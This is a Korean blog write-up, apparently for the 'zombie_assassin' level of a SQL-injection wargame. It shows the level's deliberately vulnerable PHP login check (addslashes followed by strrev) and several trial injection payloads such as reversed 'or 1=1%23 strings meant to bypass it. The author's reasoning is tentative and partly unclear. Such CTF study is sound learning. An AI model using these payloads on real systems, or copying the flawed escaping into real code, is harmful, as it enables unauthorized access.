<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
id값을 가져오기만 하면 문제는 풀린다.
문제 자체에 strrev 함수와 addslashes 함수가 관건일거같은데 한번 알아보자
strrev 함수의 경우 문자열을 거꾸로 뒤집는 함수라고 한다.
nimda 를 주면 admin으로 읽는 것이지.
이점을 이용해서 '를 \'에서 '\로 바꿀수 있다.
pw 쿼리에 들어가길 원하는 것은.
pw=''or 1=1%23
'or 1=1%23 를 입력값으로 주게되는데, 이것은
\'or 1=1%23이 되고,
32%1=1 ro'\ 가 된다.
?pw=%2032%1=1%20ro%20%27
?pw=%231=1 ro '\ 이렇게 입력을 주면
pw=''\ or 1=1%23 이 된다.
좀 더 활용해야 될듯하다.
?id="&pw=%231%20ro%20 이렇게 ' 하나를 문자로 만들어주는 방법을 써서 해야되는 것같다.
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS-rubiya : xavis (0) | 2020.08.26 |
---|---|
LOS-rubiya : nightmare (0) | 2020.08.03 |
LOS-rubiya : Succubus (0) | 2020.08.03 |
LOS-rubiya : Assassin (0) | 2020.08.03 |
LOS_rubiya : Giant (0) | 2020.08.03 |